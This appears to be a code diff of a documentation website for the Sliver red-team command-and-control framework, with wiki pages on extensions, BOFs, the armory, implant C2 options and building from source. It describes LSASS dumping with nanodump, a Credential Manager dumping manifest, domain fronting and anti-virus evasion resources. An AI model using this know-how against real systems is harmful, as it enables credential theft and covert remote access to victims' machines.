"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"@fontsource/fira-code": "^5.0.16",
"@fortawesome/free-brands-svg-icons": "^6.5.1",
"@fortawesome/free-solid-svg-icons": "^6.5.1",
"@fortawesome/react-fontawesome": "^0.2.0",
"@monaco-editor/react": "^4.6.0",
"@nextui-org/react": "^2.2.9",
"@tanstack/react-query": "^5.13.4",
"asciinema-player": "^3.6.3",
"framer-motion": "^10.16.16",
"lunr": "^2.3.9",
"next": "14.0.4",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
"react-markdown": "^9.0.1",
"remark-gfm": "^4.0.0"
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.10",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"autoprefixer": "^10.0.1",
"eslint": "^8",
"eslint-config-next": "14.0.4",
"postcss": "^8",
"tailwindcss": "^3.3.0",
"typescript": "^5"
}
}
+39
View File
@@ -0,0 +1,39 @@
import Navbar from "@/components/navbar";
import "@/styles/globals.css";
import { Themes } from "@/util/themes";
import { NextUIProvider } from "@nextui-org/react";
import {
HydrationBoundary,
QueryClient,
QueryClientProvider,
} from "@tanstack/react-query";
import { ThemeProvider as NextThemesProvider, useTheme } from "next-themes";
import type { AppProps } from "next/app";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
const { theme, setTheme } = useTheme();
function getThemeState(): Themes {
if (typeof window !== "undefined") {
const loadedTheme = localStorage.getItem("theme");
const currentTheme = loadedTheme ? (loadedTheme as Themes) : Themes.DARK;
setTheme(currentTheme);
}
return Themes.DARK;
}
const [queryClient] = React.useState(() => new QueryClient());
return (
<NextUIProvider>
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<Navbar />
<Component {...pageProps} />
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</NextUIProvider>
);
}
+31
View File
@@ -0,0 +1,31 @@
import Document, { Head, Html, Main, NextScript } from "next/document";
import React from "react";
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
class MyDocument extends Document {
static async getInitialProps(ctx: any) {
const initialProps = await Document.getInitialProps(ctx);
return {
...initialProps,
styles: React.Children.toArray([initialProps.styles]),
};
}
render() {
return (
<Html lang="en">
<Head>
<meta httpEquiv="Content-Security-Policy" content={CSP} />
</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
);
}
}
export default MyDocument;
+177
View File
@@ -0,0 +1,177 @@
import CodeViewer, { CodeSchema } from "@/components/code";
import { frags } from "@/util/frags";
import { Themes } from "@/util/themes";
import {
Card,
CardBody,
CardHeader,
Divider,
Listbox,
ListboxItem,
} from "@nextui-org/react";
import { useQuery } from "@tanstack/react-query";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Image from "next/image";
import React from "react";
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
type Doc = {
name: string;
content: string;
};
type Docs = {
docs: Doc[];
};
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const { data: docs, isLoading } = useQuery({
queryKey: ["docs"],
queryFn: async (): Promise<Docs> => {
const res = await fetch("/docs.json");
return res.json();
},
});
const [name, _setName] = React.useState(decodeURI(frags.get("name") || ""));
const setName = (name: string) => {
frags.set("name", name);
_setName(name);
};
const [markdown, setMarkdown] = React.useState(
name === ""
? docs?.docs[0].content
: docs?.docs.find((doc) => doc.name === name)?.content || ""
);
React.useEffect(() => {
if (docs && name !== "") {
setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content);
}
if (docs && name === "" && docs.docs.length > 0) {
setName(docs.docs[0].name);
setMarkdown(docs.docs[0].content);
}
}, [docs, name]);
if (isLoading || !docs) {
return <div>Loading...</div>;
}
return (
<div className="grid grid-cols-12">
<div className="col-span-3 mt-4 ml-4">
<div className="flex flex-row justify-center text-lg mb-2 gap-2">
Topics
</div>
<div className="mt-2">
<Listbox
aria-label="Toolbox Menu"
className="p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{docs.docs.map((doc) => (
<ListboxItem
key={doc.name}
value={doc.name}
onClick={() => {
setName(doc.name);
setMarkdown(doc.content);
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</div>
</div>
<div className="col-span-9">
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody
className={
theme === Themes.DARK
? "prose prose-sm dark:prose-invert"
: "prose prose-sm prose-slate"
}
>
<Markdown
remarkPlugins={[remarkGfm]}
components={{
pre(props): any {
const { children, className, node, ...rest } = props;
const childClass = (children as any)?.props?.className;
if (
childClass &&
childClass.startsWith("language-") &&
childClass !== "language-plaintext"
) {
// @ts-ignore
return <div {...rest}>{children}</div>;
}
return (
<pre {...rest} className={className}>
{children}
</pre>
);
},
img(props) {
const { src, alt, ...rest } = props;
console.log(props);
return (
// @ts-ignore
<Image
{...rest}
src={src || ""}
alt={alt || ""}
width={500}
height={500}
className="w-full rounded-medium"
/>
);
},
code(props) {
const { children, className, node, ...rest } = props;
const langTag = /language-(\w+)/.exec(className || "");
const lang = langTag ? langTag[1] : "plaintext";
if (lang === "plaintext") {
return (
<code {...rest} className={className}>
{children}
</code>
);
}
return (
<CodeViewer
className="min-h-[250px]"
key={`${Math.random()}`}
fontSize={11}
script={
{
script_type: lang,
source_code: (children as string) || "",
} as CodeSchema
}
/>
);
},
}}
>
{markdown}
</Markdown>
</CardBody>
</Card>
</div>
</div>
);
};
export default DocsIndexPage;
@@ -0,0 +1,160 @@
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
#### Aliases Command Parsing
**⚠️ IMPORTANT:** It's important to understand that all alias commands have certain Sliver shell flags (those that appear in `--help`). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed.
For example with Seatbelt, `seatbelt -group=system` will fail because the Sliver shell will attempt to interpret the `-group` flag as a named flag (i.e., arguments that appear in `--help`). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using `--`, so the correct syntax is `seatbelt -- -group=system`
```plaintext
[server] sliver (ROUND_ATELIER) > seatbelt -group=system
error: invalid flag: -group
[server] sliver (ROUND_ATELIER) > seatbelt -- -group=system
[*] seatbelt output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
====== AMSIProviders ======
GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE}
ProviderPath : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2111.5-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not available on Windows Servers
...
```
Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., `seatbelt '' -group=system`
**⚠️ IMPORTANT:** Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
## What's the difference between an alias and an extension?
From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in `--help` and may be required.
An alias is essentially just a thin wrapper around the existing `sideload` and `execute-assembly` commands, and aliases cannot have dependencies.
An extension is a shared library that is reflectively loaded into the Sliver implant process, and is passed several callbacks to return data to the implant. As such these extensions must implement the Sliver API. Extensions may also have dependencies, which are other extensions. For example, the COFF Loader is a DLL extension that loads and executes BOFs, in turn BOFs simply extensions that rely on the COFF Loader as a dependency. These types of extensions do not need to implement any Sliver-specific API, since the Sliver API is abstracted by their dependency.
## Aliases
A Sliver alias is nothing more than a folder with the following structure:
- an `alias.json` file
- alias binaries in one of the following formats:
- .NET assemblies
- shared libraries (`.so`, `.dll`, `.dylib`)
Here is an example for the `Rebeus` alias, reusing some of the public tools from [the GhostPack organisation](https://github.com/GhostPack):
```
$ tree GhostPack
Rubeus
├── alias.json
├── Rubeus.exe
```
The `alias.json` file has the following structure:
```json
{
"name": "Rubeus",
"version": "0.0.0",
"command_name": "rubeus",
"original_author": "@GhostPack (HarmJ0y)",
"repo_url": "https://github.com/sliverarmory/Rubeus",
"help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.",
"entrypoint": "Main",
"allow_args": true,
"default_args": "",
"is_reflective": false,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "Rubeus.exe"
},
{
"os": "windows",
"arch": "386",
"path": "Rubeus.exe"
}
]
}
```
It contains a single JSON object, which has the following fields:
### Alias Fields
| Field Name | Description |
| --------------- | ---------------------------------------------------------- |
| `name` | The stylized display name of the alias |
| `command_name` | The actual console command (primary identifier) |
| `entrypoint` | The entrypoint (only required for DLLs / Reflective DLLs) |
| `help` | A short help message for the command |
| `long_help` | A longer help message describing the command and its usage |
| `allow_args` | Specify whether the command will allow arguments or not |
| `files` | A list of of extension files |
| `is_reflective` | Indicates whether the extension is a reflective DLL or not |
| `is_assembly` | Indicates whether the extension is a .NET assembly or not |
#### Files
| Field Name | Description |
| ---------- | ----------------------------------------------------------------------------------- |
| `os` | The operating system for which the file can be used on (i.e., `GOOS` syntax) |
| `arch` | The cpu architecture (i.e., `GOARCH` syntax) |
| `path` | Relative path to the file from the `alias.json`, parent directories are not allowed |
To load an alias in Sliver, use the `alias load` command:
```
sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus
[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses.
[*] Rubeus extension has been loaded
```
The `help` command will now list the commands added by this extension:
```
sliver (CONCRETE_STEEL) > help
...
Sliver - 3rd Party extensions:
==============================
rubeus [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses.
...
```
### Writing Aliases
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
## Extensions
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
@@ -0,0 +1,6 @@
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers).
Here are some external resources for anti-virus evasion:
- https://www.veil-framework.com/framework/veil-evasion/
- https://iwantmore.pizza/posts/PEzor.html
@@ -0,0 +1,32 @@
This document describes the technical design of Sliver.
## High Level
There are four major components to the Sliver ecosystem:
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS).
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener.
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
```
In ┌───────────────┐ C2
┌─────────┐ Memory │ │ Protocol ┌─────────┐
│ Server ├────────────►│ Sliver Server ├─────────►│ Implant │
│ Console │ │ │ └─────────┘
└─────────┘ └───────────────┘
▲
│
│gRPC/mTLS
│
┌────┴────┐
│ Sliver │
│ Client │
└─────────┘
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
## Sliver Server
WIP
+49
View File
@@ -0,0 +1,49 @@
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
## The Official Armory
The official armory ships with Sliver binaries and is included by default in the `Makefile` when compiling from source. You can interact with the Armory using the `armory` command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the [Sliver Armory GitHub](https://github.com/sliverarmory) organization.
#### Installing Packages
List available packages by running the `armory` command without arguments, packages are installed using the package's command name:
```
sliver > armory install rubeus
[*] Installing alias 'Rubeus' (v0.0.21) ... done!
sliver > rubeus -h
[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses.
...
```
#### Updating Packages
You can update all installed aliases and extensions by running `armory update` command.
```
sliver > armory update
[*] All aliases up to date!
[*] 1 extension(s) out of date: coff-loader
[*] Installing extension 'coff-loader' (v1.0.10) ... done!
```
#### Removing Packages
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectfully.
Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
## Private Armories
Sliver has experimental support for self-hosted private armories, but I've not gotten around to testing & writing the documentation for these, so you'll have to read thru the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
@@ -0,0 +1,19 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable.
#### Parsing Audit Logs
The audit log is stored in a newline delimited (one object per line) nested-JSON format designed to be primarily machine readable, an example entry is shown below:
```
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}
```
**NOTE:** Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.
The top level JSON should always contain:
- `level` - The level indicates the type of action performed. Currently, `info` indicates commands and `warn` indicates events.
- `msg` - A JSON object encoded as a string. This object should always contain a `request` and a `method`. The contents of `method` indicate which command was executed, `request` will contain parameters to that command. The contents of `request` will vary depending on the command, but it will be based on the corresponding gRPC/Protobuf message.
- `time` - The server's timestamp of the log entry
@@ -0,0 +1,119 @@
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
### BOF Extensions
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager:
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
```
sliver > armory install nanodump
[*] Installing extension 'nanodump' (v0.0.5) ... done!
sliver > nanodump -h
A Beacon Object File that creates a minidump of the LSASS process.
Usage:
======
nanodump [flags] pid dump-name write-file signature
Args:
=====
pid int The PID of the process you want to dump.
dump-name string The name of the dump file.
write-file int 1 = write file, 0 = fileless
signature string Signature used for evasion, PMDM = default
Flags:
======
-h, --help display help
-s, --save Save output to disk
-t, --timeout int command timeout in seconds (default: 60)
```
### Converting BOFs to Sliver
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
```
alias CredMan {
local('$handle $data $args $2');
if(size(@_) != 3){
berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
return;
}
$handle = openf(script_resource("CredMan.o"));
$data = readb($handle, -1);
closef($handle)
$args = bof_pack($1,"i",$2);
btask($1, "Running CredMan");
beacon_inline_execute($1,$data,"go",$args);
}
beacon_command_register(
"CredMan",
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");
```
| Type | Description | Sliver Type |
| ---- | -------------------------------- | ---------------------------- |
| b | binary data | `file` (path to binary data) |
| i | 4-byte integer | `int` or `integer` |
| s | 2-byte short integer | `short` |
| z | zero-terminated+encoded string | `string` |
| Z | zero-terminated wide-char string | `wstring` |
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments.
```json
{
"name": "credman",
"version": "1.0.0",
"command_name": "credman",
"extension_author": "lesnuages",
"original_author": "jsecu",
"repo_url": "https://github.com/sliverarmory/CredManBOF",
"help": "Dump credentials using the CredsBackupCredentials API",
"long_help": "",
"depends_on": "coff-loader",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "credman.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "credman.x86.o"
}
],
"arguments": [
{
"name": "pid",
"desc": "PID of a process started by the target user",
"type": "int",
"optional": false
}
]
}
```
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page.
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
@@ -0,0 +1,37 @@
⚠️ **NOTE:** This guide is intended for absolute beginners to the red team space, please see the [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) guide for a more straight forward tutorial if that's not you.
# The Red Team Beginner's Guide to Sliver
⚠️ This page is a work in progress and is incomplete, you may want to read [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) or the [Community Guides](https://github.com/BishopFox/sliver/wiki/Community-Guides) instead for the time being.
## Introduction
### What's a C2?
A command and control (C2) framework allows attackers to fully leverage existing access to computer systems or networks. C2 frameworks such as Sliver by themselves will generally not get you access to systems that you do not already have. There are many techniques for gaining initial access, however some of the most common are exploiting software vulnerabilities using something like [Metasploit](https://www.metasploit.com/), or by social engineering a user to inadvertently execute a C2 payload. Regardless of the initial access method, the subsequent steps taken by an attacker are referred to as "post-exploitation" activities.
Throughout this guide and the Sliver code base the following terms of art are used. These definitions may vary slightly across the industry but this is how we define them:
- **Implant** - A generic term for piece of software used to maintain access to an environment or system, generally through the use of command and control (C&C, C2, etc.), this is the code that the attack executes on the target machine as well as maintain access. The term "implant" is often interchangeable with "agent."
- **Beacon** - May refer to (1) a communication pattern where an implant periodically connects to the C2 server as apposed to using a stateful/real time connection (2) [Cobalt Strike's](https://www.cobaltstrike.com/) primary implant, more often called "CS Beacon." In the context of Sliver, "Beacon" specifically refers to a Sliver implant that implements definition (1) communication style.
- **Stage** - A "stage" or "staged payload" is a method of loading a piece of code, typically over a network, onto a remote machine. Traditionally staging was used in conjunction with exploits that had size limitations. Typically the goal is to execute a small piece of code, i.e. the "stager," which in turn loads a larger piece of code. Staged payloads are still used in this way today, however they are also often useful for bypassing anti-virus detection since the majority of the malicious code is loaded directly into memory. Stages are sometimes number e.g. a "stage 0" will load a "stage 1" which loads a "stage 2" payload.
### Selecting a C2 Framework
You should always choose the right tool for the right job. There are many open source, as well as commercially available C2 frameworks to choose from. A key element to successful red teams, is the ability understand how all these tools work, and when best to apply them given the contextual variables of an operation or action. The [C2 Matrix](https://www.thec2matrix.com/) has a good overview of both commercial and open source frameworks -though the Sliver entry is a bit out of date.
Here is a high level overview of open source frameworks we recommend in addition to Sliver, and some advantages/disadvantages of each:
#### [Sliver](https://github.com/BishopFox/sliver)
Both the Sliver server and implant are written in Golang (the Go programming language). This makes setup of a basic Sliver deployment as easy as running the server binary. The Sliver implant is also written in Golang, which means it's easy to cross-compile to a variety of platforms. However, the tradeoff here is that the executable files (e.g., a .exe) can be sizable (up to 20Mb depending on options), as in life nothing is free.
#### [Mythic](https://github.com/its-a-feature/Mythic)
A Mythic deployment consists of several components implemented in a variety of languages, setup of a deployment is relatively automated however isn't as simple as Sliver or Merlin. However, Mythic makes it much easier to integrate 3rd party or modified implants to avoid detection in comparison to Sliver or Merlin. Mythic also features a multi-user web interface making collaboration between operators easy. The stability, features, and stealth of Mythic implants varies depending on the agent implementation you choose, which is important to keep in mind during operational planning.
#### [Merlin](https://github.com/Ne0nd0g/merlin)
The Merlin server and implant are also implemented in Golang.
@@ -0,0 +1,34 @@
Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.
Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example:
```
generate --http http://example.com?driver=wininet
```
### HTTP C2 Advanced Options
- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`.
- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`.
- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`).
- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication.
- `force-http` - Set to `true` to always force the use of plaintext HTTP.
- `disable-accept-header` - Set to `true` to disable the HTTP accept request header.
- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header.
- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080`
- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver.
- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver.
- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver.
- `host-header` - Used for domain fronting.
### DNS C2 Advanced Options
- `timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `retry-wait` - Upon query failure, wait this amount of time before retrying.
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-base32` - Always use Base 32 encoding.
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
@@ -0,0 +1,52 @@
⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:
### Books
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/
### Videos
- https://youtu.be/3R6WKUgN0K4?t=456
- https://www.youtube.com/watch?v=QO_1UMaiWHk
- https://www.youtube.com/watch?v=izMMmOaLn9g
- https://www.youtube.com/watch?v=qIbrozlf2wM
- https://www.youtube.com/watch?v=CKfjLnEMfvI
### Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
### Opsec Blogs
- https://tishina.in/opsec/sliver-opsec-notes
### Development Blogs
- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
- https://security.humanativaspa.it/customizing-sliver-part-1/
- https://security.humanativaspa.it/customizing-sliver-part-2/
- https://security.humanativaspa.it/customizing-sliver-part-3/
### Detection & Analysis
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
- https://blog.tofile.dev/2021/09/04/sliver.html
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4
### Threat Intel Reports
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
@@ -0,0 +1,97 @@
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
### Compile From Source (No Docker)
From scratch without Docker, requirements for compiling:
- Go v1.20 or later, though we recommend Go v1.21
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
#### Compiling
First git clone the repository:
```
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
```
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
```
$ git checkout tags/v1.5.39
```
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
By default `make` will build whatever platform you're currently running on:
```
$ make
```
This will create `sliver-server` and `sliver-client` binaries.
#### Cross-compile to Specific Platforms
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
```
$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
```
### Docker Build
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
```
docker build -t sliver .
```
